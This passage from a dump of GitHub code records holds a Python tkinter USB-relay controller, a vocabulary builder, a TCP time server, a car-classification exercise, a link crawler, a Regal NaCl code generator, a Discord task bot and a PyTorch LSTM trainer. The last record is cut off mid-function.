(\"usb_relay_device_open_with_serial_number\", 'h', 'si'),\r\n (\"usb_relay_device_get_num_relays\", 'i', 'h'),\r\n (\"usb_relay_device_get_id_string\", 's', 'h'),\r\n (\"usb_relay_device_next_dev\", 'h', 'h'),\r\n (\"usb_relay_device_get_status_bitmap\", 'i', 'h'),\r\n (\"usb_relay_device_open_one_relay_channel\", 'e', 'hi'),\r\n (\"usb_relay_device_close_one_relay_channel\", 'e', 'hi'),\r\n (\"usb_relay_device_close_all_relay_channel\", 'e', None)\r\n]\r\n\r\n\r\ndef getLibFunctions():\r\n \"\"\" Get needed functions and configure types; call lib. init.\r\n \"\"\"\r\n assert L.dll\r\n\r\n libver = L.dll.usb_relay_device_lib_version()\r\n print(\"%s version: 0x%X\" % (libfile, libver))\r\n\r\n ret = L.dll.usb_relay_init()\r\n if ret != 0: fail(\"Failed lib init!\")\r\n ctypemap = {'e': ctypes.c_int, 'h': ctypes.c_void_p, 'p': ctypes.c_void_p,\r\n 'i': ctypes.c_int, 's': ctypes.c_char_p}\r\n for x in usb_relay_lib_funcs:\r\n fname, ret, param = x\r\n try:\r\n f = getattr(L.dll, fname)\r\n except Exception:\r\n fail(\"Missing lib export:\" + fname)\r\n\r\n ps = []\r\n if param:\r\n for p in param:\r\n ps.append(ctypemap[p])\r\n f.restype = ctypemap[ret]\r\n f.argtypes = ps\r\n setattr(L, fname, f)\r\n\r\n\r\ndef openDevById(idstr):\r\n # Open by known ID:\r\n\r\n h = L.usb_relay_device_open_with_serial_number(stringToCharp(idstr), 5)\r\n if not h: fail(\"Cannot open device with id=\" + idstr)\r\n global numch\r\n numch = L.usb_relay_device_get_num_relays(h)\r\n if numch <= 0 or numch > 8: fail(\"Bad number of channels, can be 1-8\")\r\n global hdev\r\n hdev = h\r\n\r\n\r\ndef closeDev():\r\n global hdev\r\n L.usb_relay_device_close(hdev)\r\n hdev = None\r\n\r\n\r\ndef enumDevs():\r\n global devids\r\n devids = []\r\n enuminfo = L.usb_relay_device_enumerate()\r\n while enuminfo:\r\n idstrp = L.usb_relay_device_get_id_string(enuminfo)\r\n idstr = charpToString(idstrp)\r\n print(idstr)\r\n assert len(idstr) == 5\r\n if not idstr in devids:\r\n devids.append(idstr)\r\n else:\r\n print(\"Warning! found duplicate ID=\" + idstr)\r\n enuminfo = L.usb_relay_device_next_dev(enuminfo)\r\n\r\n print(\"Found devices: %d\" % len(devids))\r\n\r\n\r\ndef unloadLib():\r\n global hdev, L\r\n if hdev: closeDev()\r\n L.dll.usb_relay_exit()\r\n L.dll = None\r\n print(\"Lib closed\")\r\n\r\n\r\n\r\ndef fire(serial, timer, chnum):\r\n openDevById(devids[serial])\r\n\r\n switch_open(chnum, serial)\r\n time.sleep(timer)\r\n switch_close(chnum, serial)\r\n print(\"<<>>\")\r\n \r\n closeDev()\r\n \r\n\r\ndef switch_open(chnum, serial):\r\n openDevById(devids[serial])\r\n \r\n \r\n \"\"\" Test one device with handle hdev, 1 or 2 channels \"\"\"\r\n global numch, hdev\r\n if numch <= 0 or numch > 8:\r\n fail(\"Bad number of channels on relay device!\")\r\n\r\n\r\n\r\n mask = 0\r\n ret = L.usb_relay_device_open_one_relay_channel(hdev, chnum)\r\n if ret != 0: fail(\"Failed R1 on!\")\r\n mask |= chnum\r\n\r\n st = L.usb_relay_device_get_status_bitmap(hdev)\r\n if st < 0: fail(\"Bad status bitmask\")\r\n print(\"Relay num ch=%d state=%x\" % (numch, st))\r\n\r\n\r\n\r\ndef switch_close(chnum, serial):\r\n openDevById(devids[serial])\r\n ret = L.usb_relay_device_close_one_relay_channel(hdev, chnum)\r\n st = L.usb_relay_device_get_status_bitmap(hdev)\r\n print(\"Relay num ch=%d state=%x\" % (chnum, st))\r\n\r\n \r\n\r\nclass RelaySwitch(object):\r\n def __init__(self, ID, time, spacer, status):\r\n self._ID = ID\r\n self._time = time\r\n self.new_time = tk.StringVar()\r\n self.new_time.set(str(self._time) + 's')\r\n self._spacer = spacer\r\n self._status = status\r\n self._chnum = 0\r\n\r\n self.switch_name = tk.Label(text=get_alias(self))\r\n self.switch_name.grid(row=(devids.index(self._ID) + 1 + self._spacer))\r\n\r\n self.fire_button = tk.Button(text='Toggle', command=lambda: fire(devids.index(self._ID), self._time, 1))\r\n self.fire_button.grid(row=(devids.index(self._ID) + 1 + self._spacer), column=6, pady=10)\r\n\r\n self.timer_entry = tk.Entry()\r\n self.timer_entry.grid(row=(devids.index(self._ID) + 1 + self._spacer), column=1)\r\n self.timer_entry.insert(0, \"0.2\")\r\n\r\n self.units_of_time = tk.Spinbox(values=('s', 'ms', 'μs'))\r\n self.units_of_time.grid(row=(devids.index(self._ID) + 1 + self._spacer), column=2)\r\n\r\n self.timer_set = tk.Button(text=\"Set\", command=lambda: self.set_time((self.timer_entry.get())))\r\n self.timer_set.grid(row=(devids.index(self._ID) + 1 + self._spacer), column=3)\r\n\r\n self.timer_label = tk.Label(textvariable=self.new_time)\r\n self.timer_label.grid(row=(devids.index(self._ID) + 1 + self._spacer), column=4)\r\n\r\n self.open_switch = tk.Button(text=\"Open\", command=lambda: switch_open(1, devids.index(self._ID)))\r\n self.open_switch.grid(row=(devids.index(self._ID) + 1 + self._spacer), column=7)\r\n\r\n self.close_switch = tk.Button(text=\"Close\", command=lambda: switch_close(1, devids.index(self._ID)))\r\n self.close_switch.grid(row=(devids.index(self._ID) + 1 + self._spacer), column=8)\r\n\r\n\r\n def set_ID(self, newId):\r\n self._ID = newId\r\n def get_ID(self):\r\n return self._ID\r\n def get_chnum(self):\r\n return self._chnum\r\n\r\n\r\n def set_time(self, time):\r\n x = float(time)\r\n if self.units_of_time.get() == 'μs':\r\n x = (float(x) * 10 ** -6)\r\n elif self.units_of_time.get() == 'ms':\r\n x = (float(x) * 10 ** -3)\r\n self.new_time.set(str(x) + 's')\r\n self._time = float(x)\r\n\r\n def load_time(self, time):\r\n x = float(time)\r\n self.new_time.set(str(x) + 's')\r\n self._time = float(x)\r\n\r\n def get_time(self):\r\n return self._time\r\n\r\n\r\ndef save_defaults(relays):\r\n if relays == {}:\r\n pass\r\n else:\r\n with open(\"defaults.p\", \"rb\") as f:\r\n defaults = pickle.load(f)\r\n ids = relays.keys()\r\n for x in ids:\r\n defaults[x] = (relays[x].get_time())\r\n with open(\"defaults.p\", \"wb\") as f:\r\n pickle.dump(defaults, f)\r\n\r\n\r\ndef load_defaults(relays):\r\n if relays == {}:\r\n pass\r\n else:\r\n with open(\"defaults.p\", \"rb\") as f:\r\n defaults = pickle.load(f)\r\n for x in defaults.keys():\r\n if x in relays.keys():\r\n relays[x].load_time((defaults[x]))\r\n\r\ndef get_alias(relay):\r\n relayCode = relay.get_ID()+str(relay.get_chnum())\r\n with open(\"aliases.json\", \"rb\") as f:\r\n aliases = json.load(f)\r\n \r\n if (relayCode) in aliases.keys():\r\n return (aliases[relayCode])\r\n else:\r\n return (relayCode)\r\n \r\n\r\nclass TwoChannelRelaySwitch(object):\r\n def __init__(self, ID, time, chnum):\r\n self._ID = ID\r\n self._time = time\r\n self.new_time = tk.StringVar()\r\n self.new_time.set(str(self._time) + 's')\r\n self._chnum = chnum\r\n\r\n self.switch_name = tk.Label(text=get_alias(self))\r\n self.switch_name.grid(row=(devids.index(self._ID) + 1 + self._chnum))\r\n\r\n self.fire_button = tk.Button(text='Toggle', command=lambda: fire(devids.index(self._ID), self._time, self._chnum))\r\n self.fire_button.grid(row=(devids.index(self._ID) + 1 + self._chnum), column=6, pady=10)\r\n\r\n self.timer_entry = tk.Entry()\r\n self.timer_entry.grid(row=(devids.index(self._ID) + 1 + self._chnum), column=1)\r\n self.timer_entry.insert(0, \"0.2\")\r\n\r\n self.units_of_time = tk.Spinbox(values=('s', 'ms', 'μs'))\r\n self.units_of_time.grid(row=(devids.index(self._ID) + 1 + self._chnum), column=2)\r\n\r\n self.timer_set = tk.Button(text=\"Set\", command=lambda: self.set_time(self.timer_entry.get()))\r\n self.timer_set.grid(row=(devids.index(self._ID) + 1 + self._chnum), column=3)\r\n\r\n self.timer_label = tk.Label(textvariable=self.new_time)\r\n self.timer_label.grid(row=(devids.index(self._ID) + 1 + self._chnum), column=4)\r\n\r\n self.open_switch = tk.Button(text=\"Open\", command=lambda: switch_open(self._chnum, devids.index(self._ID)))\r\n self.open_switch.grid(row=(devids.index(self._ID) + 1 + self._chnum), column=7)\r\n\r\n self.close_switch = tk.Button(text=\"Close\", command=lambda: switch_close(self._chnum, devids.index(self._ID)))\r\n self.close_switch.grid(row=(devids.index(self._ID) + 1 + self._chnum), column=8)\r\n\r\n def set_ID(self, newId):\r\n self._ID = newId\r\n \r\n def get_ID(self):\r\n return self._ID\r\n \r\n def get_chnum(self):\r\n return self._chnum\r\n\r\n\r\n\r\n def set_time(self, time):\r\n x = time\r\n if self.units_of_time.get() == 'μs':\r\n x = (float(x) * 10 ** -6)\r\n elif self.units_of_time.get() == 'ms':\r\n x = (float(x) * 10 ** -3)\r\n self.new_time.set(str(x) + 's')\r\n self._time = float(x)\r\n\r\n def load_time(self, time):\r\n x = float(time)\r\n self.new_time.set(str(x) + 's')\r\n self._time = float(x)\r\n\r\n def get_time(self):\r\n return self._time\r\n# main\r\ndef main():\r\n\r\n loadLib()\r\n getLibFunctions()\r\n enumDevs()\r\n top = tk.Tk()\r\n top.title(\"Relay GUI v2\")\r\n top.iconbitmap(\"hephico.ico\")\r\n\r\n\r\n menubar = tk.Menu(top)\r\n filemenu = tk.Menu(menubar, tearoff=0)\r\n filemenu.add_command(label=\"Load Defaults\", command=lambda: load_defaults(relays))\r\n filemenu.add_command(label=\"Save Defaults\", command=lambda: save_defaults(relays))\r\n filemenu.add_separator()\r\n filemenu.add_command(label=\"Exit\", command=top.quit)\r\n menubar.add_cascade(label=\"File\", menu=filemenu)\r\n\r\n top.config(menu=menubar)\r\n\r\n one = tk.Label(text='Relay', relief=tk.RIDGE)\r\n one.grid(row=0, column=0, pady=10,)\r\n\r\n one = tk.Label(text='Switch', relief=tk.RIDGE)\r\n one.grid(row=0, column=6, pady=10)\r\n\r\n one = tk.Label(text='Duration', relief=tk.RIDGE)\r\n one.grid(row=0, column=1)\r\n\r\n one = tk.Label(text='Units', relief=tk.RIDGE)\r\n one.grid(row=0, column=2)\r\n\r\n one = tk.Label(text='Set', relief=tk.RIDGE)\r\n one.grid(row=0, column=3)\r\n\r\n one = tk.Label(text='Current Duration', relief=tk.RIDGE)\r\n one.grid(row=0, column=4)\r\n\r\n one = tk.Label(text='Open', relief=tk.RIDGE)\r\n one.grid(row=0, column=7)\r\n\r\n one = tk.Label(text='Close', relief=tk.RIDGE)\r\n one.grid(row=0, column=8)\r\n\r\n\r\n oldnum = 0\r\n\r\n for x in devids:\r\n openDevById(x)\r\n if numch == 1:\r\n relay = RelaySwitch(x, 0.2, oldnum, (L.usb_relay_device_get_status_bitmap(hdev)))\r\n relays[x] = relay\r\n \r\n oldnum = numch\r\n closeDev()\r\n elif numch >= 2:\r\n oldnum = numch\r\n for y in range(numch):\r\n relay = TwoChannelRelaySwitch(x, 0.2, (y+1))\r\n relays[x + str(y + 1)] = relay\r\n\r\n closeDev()\r\n load_defaults(relays)\r\n\r\n top.mainloop()\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n\r\n\r\n\r\n","repo_name":"drewmylo/usbrelayGUI","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":12494,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"38606889351","text":"from collections import defaultdict\nimport os\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n\n\ndef save_word_dict(vocab: list, save_path: str):\n \"\"\"\n 保存字典。\n Params:\n vocab - 所有词语组成的字典\n save_path - 保存字典的文件路径\n \"\"\"\n with open(save_path, 'w', encoding='utf-8') as f:\n for line in vocab:\n w, i = line\n f.write(\"%s\\t%d\\n\" % (w, i))\n\n\ndef read_data(path_1: str, path_2: str, path_3: str) -> list:\n \"\"\"\n 读取数据。\n Params:\n path_n - 数据源路径。\n Return:\n 包含所有数据源中的词语组成的列表,列表每一个元素为分词以后的数据或标签。\n \"\"\"\n with open(path_1, 'r', encoding='utf-8') as f1, \\\n open(path_2, 'r', encoding='utf-8') as f2, \\\n open(path_3, 'r', encoding='utf-8') as f3:\n words = []\n # print(f1)\n for line in f1:\n words = line.split(' ')\n\n for line in f2:\n words += line.split(' ')\n\n for line in f3:\n words += line.split(' ')\n\n return words\n\n\ndef build_vocab(items: list, sort: bool=True, min_count: int=0, lower: bool=False) -> list:\n \"\"\"\n 构建词典列表\n :param items: list [item1, item2, ... ]\n :param sort: 是否按频率排序,否则按items排序\n :param min_count: 词典最小频次\n :param lower: 是否小写\n :return: list: word set\n \"\"\"\n result = []\n if sort:\n # sort by count\n dic = defaultdict(int)\n for item in items:\n for i in item.split(\" \"):\n i = i.strip()\n if not i: continue\n i = i if not lower else item.lower()\n dic[i] += 1\n # sort\n \"\"\"\n 按照字典里的词频进行排序,出现次数多的排在前面\n your code(one line)\n \"\"\"\n dic = sorted(dic.items(), key=lambda x: x[1], reverse=True)\n \n for i, item in enumerate(dic):\n key = item[0]\n if min_count and min_count > item[1]: # 去除出现频次小于min_count的词语\n continue\n result.append(key)\n else:\n # sort by items\n for i, item in enumerate(items):\n item = item if not lower else item.lower()\n result.append(item)\n \"\"\"\n 建立项目的vocab和reverse_vocab,vocab的结构是(词,index),而reverse_vocab的结构是(index, 词)\n your code\n vocab = (one line)\n reverse_vocab = (one line)\n \"\"\"\n # 构建 (word, index)组成的列表 - 正向 词 - 索引 的词典\n vocab = [(w, i) for i, w in enumerate(result)]\n #构建 (index, word)组成的列表 - 逆向 索引 - 词 的词典\n reverse_vocab = [(w[1], w[0]) for w in vocab]\n\n return vocab, reverse_vocab\n\n\nif __name__ == '__main__':\n lines = read_data('{}/datasets/train_set.seg_x.txt'.format(BASE_DIR),\n '{}/datasets/train_set.seg_y.txt'.format(BASE_DIR),\n '{}/datasets/test_set.seg_x.txt'.format(BASE_DIR))\n vocab, reverse_vocab = build_vocab(lines)\n save_word_dict(vocab, '{}/datasets/vocab.txt'.format(BASE_DIR))\n print(\"保存完毕!文件位于:{}/datasets/vocab.txt\".format(BASE_DIR))","repo_name":"Fors3cDream/AutoMaster","sub_path":"utils/data_reader.py","file_name":"data_reader.py","file_ext":"py","file_size_in_byte":3303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"74162676648","text":"\"\"\"\n套接字 - 基于TCP协议创建时间服务器\n\nVersion: 0.1\nAuthor: 骆昊\nDate: 2018-03-22\n\"\"\"\n\nfrom socket import *\nfrom time import *\n\nserver = socket(AF_INET, SOCK_STREAM)\nserver.bind(('localhost', 6789))\nserver.listen()\nprint('服务器已经启动正在监听客户端连接.')\nwhile True:\n client, addr = server.accept()\n print('客户端%s:%d连接成功.' % (addr[0], addr[1]))\n currtime = localtime(time())\n timestr = strftime('%Y-%m-%d %H:%M:%S', currtime)\n client.send(timestr.encode('utf-8'))\n client.close()\nserver.close()\n","repo_name":"jackfrued/Python-100-Days","sub_path":"Day01-15/code/Day14/socket1.py","file_name":"socket1.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","stars":142367,"dataset":"github-code","pt":"53"}
+{"seq_id":"34935356765","text":"import copy\n\ncars = [\n {\n 'brand': 'Dacia',\n 'model': 'Logan',\n 'hp' : 75,\n 'price': 900\n },\n {\n 'brand': 'Seat',\n 'model': 'Leon',\n 'hp' : 130,\n 'price': 3000\n },\n {\n 'brand' : 'Ferrari',\n 'model' : 'Rocher',\n 'hp' : 230,\n 'price' : 7000\n }\n]\n\ndef slow_car(car):\n slow_cars = copy.deepcopy(car)\n slow_cars[\"hp_smaller_than_120\"] = True if slow_cars['hp'] < 120 else False\n return slow_cars\n\nslow_cars = map(slow_car, cars)\nprint('slow_cars =', list(slow_cars))\n\ndef fast_car(car):\n fast_cars = copy.deepcopy(car)\n fast_cars[\"hp >=_120_<_180\"] = True if fast_cars['hp'] >= 120 < 180 else False\n return fast_cars\n\nfast_cars = map(fast_car, cars)\nprint('fast_cars =', list(fast_cars))\n\ndef sport_car(car):\n sport_cars = copy.deepcopy(car)\n sport_cars[\"hp > 180\"] = True if sport_cars['hp'] > 180 else False\n return sport_cars\n\nsport_cars = map(sport_car, cars)\nprint('sport_cars =', list(sport_cars))\n\ndef cheap_car(car):\n cheap_cars = copy.deepcopy(car)\n cheap_cars[\"price < 1000\"] = True if cheap_cars['price'] < 1000 else False\n return cheap_cars\n\ncheap_cars = map(cheap_car, cars)\nprint('cheap_cars =', list(cheap_cars))\n\ndef medium_car(car):\n medium_cars = copy.deepcopy(car)\n medium_cars[\"price >= 1000 < 5000\"] = True if medium_cars['price'] >= 1000 < 5000 else False\n return medium_cars\n\nmedium_cars = map(medium_car, cars)\nprint('medium_cars =', list(medium_cars))\n\ndef expensive_car(car):\n expensive_cars = copy.deepcopy(car)\n expensive_cars[\"price > 5000\"] = True if medium_cars['price'] > 5000 else False\n return expensive_cars\n\nexpensive_cars = map(medium_car, cars)\nprint('expensive_cars =', list(expensive_cars))\n\n\n\nwith open ('input.csv', 'w') as csv_file:\n csv_writer = csv.writer(csv_file, delimiter=',')\n\n for new_car in cars:\n csv_writer.writerow(new_car)\n\nwith open('slow_car.csv', 'w') as csv_file:\n csv_writer = csv.writer(csv_file, delimiter=',')\n\n for slow_car in cars:\n csv_writer.writerow(slow_car)\n\n# import os\n#\n# for dir_entry in os.scandir():\n# if os.path.isfile(dir_entry):\n# print(f'{dir_entry.name} is file.')\n# else:\n# print(f'{dir_entry.name} is directory')\n","repo_name":"G4brielHD/scoalainformala","sub_path":"tema_files.py","file_name":"tema_files.py","file_ext":"py","file_size_in_byte":2298,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"17101366928","text":"from urllib.request import Request, urlopen, urlretrieve\nfrom bs4 import BeautifulSoup\ndef read_url(url):\n url = url.replace(\" \",\"%20\")\n req = Request(url)\n a = urlopen(req).read()\n soup = BeautifulSoup(a, 'html.parser')\n x = (soup.find_all('a'))\n for i in x:\n file_name = i.extract().get_text()\n url_new = url + file_name\n url_new = url_new.replace(\" \",\"%20\")\n if(file_name[-1]=='/' and file_name[0]!='.'):\n read_url(url_new)\n print(url_new)\n\nread_url(\"https://iotex.io\")","repo_name":"nwachukwu-patrick/MINICLONER","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"16566581482","text":"#!/usr/bin/python -B\n\nfrom string import Template, upper, replace\n\nfrom ApiUtil import outputCode\nfrom ApiUtil import typeIsVoid\n\nfrom ApiCodeGen import *\n\nfrom RegalDispatchLog import apiDispatchFuncInitCode\nfrom RegalDispatchEmu import dispatchSourceTemplate\nfrom RegalContextInfo import cond\n\n##############################################################################################\n\n# CodeGen for NaCL dispatch functions\n\ndef apiNaclFuncDefineCode(apis, args):\n\n code = ''\n\n for api in apis:\n\n if api.name=='gl':\n\n for function in api.functions:\n if not function.needsContext:\n continue\n if getattr(function,'esVersions',None)==None or 2.0 not in function.esVersions:\n continue\n if getattr(function,'regalOnly',False)==True:\n continue\n\n name = function.name\n params = paramsDefaultCode(function.parameters, True)\n callParams = paramsNameCode(function.parameters)\n rType = typeCode(function.ret.type)\n naclName = name\n if naclName.startswith('gl'):\n naclName = naclName[2:]\n\n code += 'static %sREGAL_CALL %s%s(%s) \\n{\\n' % (rType, 'nacl_', name, params)\n code += ' Internal(\"nacl_%s\",\"()\");\\n' % name\n code += ' RegalContext * rCtx = GET_REGAL_CONTEXT();\\n'\n code += ' RegalAssert(rCtx)\\n'\n code += ' RegalAssert(rCtx->naclES2)\\n'\n code += ' RegalAssert(rCtx->naclES2->%s)\\n'%(naclName)\n code += ' RegalAssert(rCtx->naclResource)\\n'\n if not typeIsVoid(rType):\n code += ' %s ret = ' % rType\n else:\n code += ' '\n if len(callParams):\n callParams = 'rCtx->naclResource, %s'%callParams\n else:\n callParams = 'rCtx->naclResource'\n code += 'rCtx->naclES2->%s(%s);\\n' % ( naclName, callParams )\n if not typeIsVoid(rType):\n code += ' return ret;\\n'\n code += '}\\n\\n'\n\n return code\n\ndef apiNaclFuncInitCode(apis, args):\n\n code = '// OpenGL ES 2.0 only\\n'\n\n for api in apis:\n\n if api.name=='gl':\n\n for function in api.functions:\n if not function.needsContext:\n continue\n if getattr(function,'esVersions',None)==None or 2.0 not in function.esVersions:\n continue\n\n name = function.name\n params = paramsDefaultCode(function.parameters, True)\n callParams = paramsNameCode(function.parameters)\n rType = typeCode(function.ret.type)\n\n code += ' tbl.%s = %s_%s;\\n' % ( name, 'nacl', name )\n\n return code\n\ndef generateNaclSource(apis, args):\n\n funcDefine = apiNaclFuncDefineCode( apis, args )\n funcInit = apiNaclFuncInitCode ( apis, args )\n\n # Output\n\n substitute = {}\n\n substitute['LICENSE'] = args.license\n substitute['AUTOGENERATED'] = args.generated\n substitute['COPYRIGHT'] = args.copyright\n substitute['DISPATCH_NAME'] = 'Nacl'\n substitute['LOCAL_INCLUDE'] = '#include '\n substitute['LOCAL_CODE'] = ''\n substitute['API_DISPATCH_FUNC_DEFINE'] = funcDefine\n substitute['API_DISPATCH_FUNC_INIT'] = funcInit\n substitute['IFDEF'] = '#if REGAL_DRIVER && defined(__native_client__)\\n'\n substitute['ENDIF'] = '#endif\\n'\n\n outputCode( '%s/RegalDispatchNacl.cpp' % args.outdir, dispatchSourceTemplate.substitute(substitute))\n\n","repo_name":"greggman/regal","sub_path":"scripts/regal/RegalDispatchNacl.py","file_name":"RegalDispatchNacl.py","file_ext":"py","file_size_in_byte":3317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"53"}
+{"seq_id":"1623408212","text":"import discord\nimport pymongo\nimport json\nfrom discord.ext import commands,tasks\n\nDBCONNECT = ''\nTOKEN = ''\nPREFIX = 'c.'\n\nintents = discord.Intents.default()\nchocola = commands.Bot(command_prefix=PREFIX,intents=intents)\nmongobongo = pymongo.MongoClient(DBCONNECT)\n\ntaskdb = mongobongo[\"taskdb\"]\ndaily = taskdb[\"daily\"]\n\n@chocola.event\nasync def on_ready():\n print(\"Chocola is up and running!\")\n await chocola.change_presence(activity=discord.Game('Learning new tricks!'))\n\n@chocola.command()\nasync def test(ctx,arg):\n await ctx.send(arg)\n\n@chocola.command()\nasync def add(ctx,*,args):\n if len(args) == 0:\n raise commands.CommandError(\"Insufficient arguments!\")\n else:\n new = await add_parse(args)\n new_id = daily.insert_one(new)\n await ctx.channel.send(\"Successfully added task!\")\n\n@chocola.command()\nasync def list(ctx):\n id = 1\n for task in daily.find():\n task_message = await parse_task(task,id)\n await ctx.channel.send(task_message)\n id += 1\n\n@chocola.command()\nasync def clear(ctx):\n daily.clear()\n\n@chocola.command()\nasync def mention(ctx):\n await ctx.channel.send(\"Hello {}\".format(ctx.message.author.mention))\n\n@chocola.command()\nasync def ohayo(ctx):\n await ctx.channel.send(\"おはようございます-にゃあ\")\n\n#Error Handling\n# @add.error\n# async def add_error(ctx,CommandError):\n# await ctx.channel.send(\"Give me something to add-nya!\")\n\n#Internal Handling Functions\nasync def add_parse(message):\n task = {}\n params = message.split('-')\n\n task['task'] = params[0]\n if (len(params) > 1):\n task['urgent'] = True\n else:\n task['urgent'] = False\n\n return task\n\nasync def parse_task(task,id):\n is_urgent = \"\"\n if task['urgent'] == False:\n is_urgent = \"not \"\n message = \"Daily Task {}: {}, is {}urgent\".format(id,task['task'],is_urgent)\n return message\n\nchocola.run(TOKEN)\n","repo_name":"Robogee/ChocolaBot","sub_path":"botfiles/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"30293656897","text":"import torch\nfrom torch import nn\nfrom torch.utils import data\nfrom torch.nn import functional as F\nimport time\nimport sys\nimport os\nimport numpy as np\nfrom library.LSTM import NeuralNet\nimport math\n\n\nclass PyTorchTrainer():\n \"\"\"\n Class responsible for abstracting the Neural Network initialisation,\n PyTorch data initialisation, forward and backward propagation and loss \n calculation\n \"\"\"\n output_dim = 1\n epoch_log_summary = []\n \n\n def __init__(self, X_train, y_train, embedding_matrix, max_features, cudaEnabled = False):\n super().__init__()\n\n self.cudaEnabled = cudaEnabled\n\n print('Creating tensors')\n # Setting up the various Pytorch tensors\n self.X_train = torch.tensor(X_train, dtype=torch.long)\n # self.y_train = torch.tensor(np.vstack(y_train.iloc[:, np.newaxis]), dtype=torch.float32)\n self.y_train = torch.tensor(np.hstack([y_train]), dtype=torch.float32)\n\n print('Creating model')\n # Initialising the Neural Network\n self.model = NeuralNet(embedding_matrix, (self.y_train.shape[-1] - 1), max_features)\n\n # Converting the tensor into cuda tensors if GPU is available\n if self.cudaEnabled:\n self.model.cuda()\n self.X_train = self.X_train.cuda()\n self.y_train = self.y_train.cuda()\n\n print('Creating datasets')\n # Packaging multiple tensors into PyTorch TensorDataset\n self.train_dataset = data.TensorDataset(self.X_train, self.y_train)\n\n def _sigmoid(self, x):\n \"\"\"\n Sigmoid function, a differentiable function that converts a real number to one of value between 0-1\n \"\"\"\n return 1 / (1 + np.exp(-x))\n\n def train_and_test(self, X_test, loss_fn = nn.BCEWithLogitsLoss(reduction='mean'), learning_rate = 0.001, batch_size = 512,\n n_epochs = 1, enable_checkpoint_ensemble = True):\n\n \"\"\"\n Function wrapping the train() function (responsible for the neural network forward propagation, \n loss calculating, back propagation) adding test set prediction to the train \n\n\n Parameters:\n ---------------\n \n loss_fn: a loss function like BCEWithLogitsLoss, CrossEntropyLoss.\n For soft-labels use BCEWithLogitsLoss \n ref: https://discuss.pytorch.org/t/loss-function-crossentropyloss-vs-bcewithlogitsloss/16089\n \n learning_rate: learning rate which will be adjusted by the scheduler \n ref: https://discuss.pytorch.org/t/using-the-new-learning-rate-scheduler/6726\n \n batch_size: defines the batch size that is fed to the NN\n \n n_epochs: number of epochs used for the training\n \n epoch_fn: optional closure function that is executed before the end of an epoch.\n This allows for additional functionality (e.g. test set prediction) to run at\n the end of each epoch.\n \n enable_checkpoint_ensemble: boolean flag that determines whether the outputted \n prediction is the result of the weighted average of different predictions\n performed at each epoch or just the last model prediction\n\n \"\"\"\n # Packaging test dataset into PyTorch TensorDataset \n test_dataset = self._convert_to_tensor_dataset(X_test)\n\n all_test_preds = []\n # calculating a different weight to be used to calculate a weighed average prediction \n checkpoint_weights = [2 ** epoch for epoch in range(n_epochs)]\n\n # closure passed to to the train function to be executed at the end of each batch\n # it predicts on the test set and stores the predictions\n predict_closure = lambda: all_test_preds.append(self.predict( test_dataset, batch_size = batch_size ))\n\n # Calling the train function\n self.train(loss_fn, learning_rate, batch_size, n_epochs, predict_closure)\n \n\n if enable_checkpoint_ensemble:\n # test set prediction is the result of the weighted average of different predictions\n test_preds = [np.average(all_test_preds, weights=checkpoint_weights, axis=0)]\n else:\n # test set prediction is the result of the last epoch's prediction\n test_preds = all_test_preds\n\n return test_preds\n\n def train(self, loss_fn = nn.BCEWithLogitsLoss(reduction='mean'), learning_rate = 0.001, batch_size = 512,\n n_epochs = 1, epoch_fn = None):\n \"\"\"\n Function responsible for the neural network forward propagation, \n loss calculating and back propagation\n\n Parameters:\n ---------------\n \n loss_fn: a loss function like BCEWithLogitsLoss, CrossEntropyLoss.\n For soft-labels use BCEWithLogitsLoss \n ref: https://discuss.pytorch.org/t/loss-function-crossentropyloss-vs-bcewithlogitsloss/16089\n \n learning_rate: learning rate which will be adjusted by the scheduler \n ref: https://discuss.pytorch.org/t/using-the-new-learning-rate-scheduler/6726\n \n batch_size: defines the batch size that is fed to the NN\n \n n_epochs: number of epochs used for the training\n \n epoch_fn: optional closure function that is executed before the end of an epoch.\n This allows for additional functionality (e.g. test set prediction) to run at\n the end of each epoch.\n\n \"\"\"\n print('Training model')\n\n self.output_dim= self.y_train.shape[-1]\n\n param_lrs = [{'params': param, 'lr': learning_rate} for param in self.model.parameters()]\n optimizer = torch.optim.Adam(param_lrs, lr=learning_rate)\n\n # Sets the learning rate of each parameter group to the initial lr\n # times a given function. When last_epoch=-1, sets initial lr as lr.\n # ref: https://pytorch.org/docs/stable/_modules/torch/optim/lr_scheduler.html\n scheduler = torch.optim.lr_scheduler.LambdaLR(optimizer, lambda epoch: 0.6 ** epoch)\n\n # Data loader is to combines a dataset and a sampler, and provides \n # single- or multi-process iterators over the dataset.\n train_loader = torch.utils.data.DataLoader(self.train_dataset, batch_size=batch_size, shuffle=True)\n\n for epoch in range(n_epochs):\n\n # Execution metrics gathering\n start_time = time.time()\n\n print('\\nStarting Epoch {}'.format(epoch + 1))\n\n # Decays the learning rate\n scheduler.step()\n\n # Setting the model in \"train\" mode\n # ref: https://discuss.pytorch.org/t/model-eval-vs-with-torch-no-grad/19615\n self.model.train()\n # Initialising/resetting avg_loss and counter variables\n avg_loss = 0.\n counter = 0\n\n # Looping through the data in batches\n for data in train_loader:\n\n counter += 1\n\n x_batch = data[:-1]\n y_batch = data[-1]\n\n # Forward propagation is called\n y_pred = self.model(*x_batch)\n\n # Calculating loss between prediction and \n # true labels\n loss = loss_fn(y_pred, y_batch)\n\n # Manually zeroing the gradients before the backward \n # as Pytorch retains gradients\n # ref: https://discuss.pytorch.org/t/why-do-we-need-to-set-the-gradients-manually-to-zero-in-pytorch/4903/12\n optimizer.zero_grad()\n\n # backpropagating and calculating the gradient\n loss.backward()\n # updating the parameters based on the calculated gradient\n optimizer.step()\n\n # 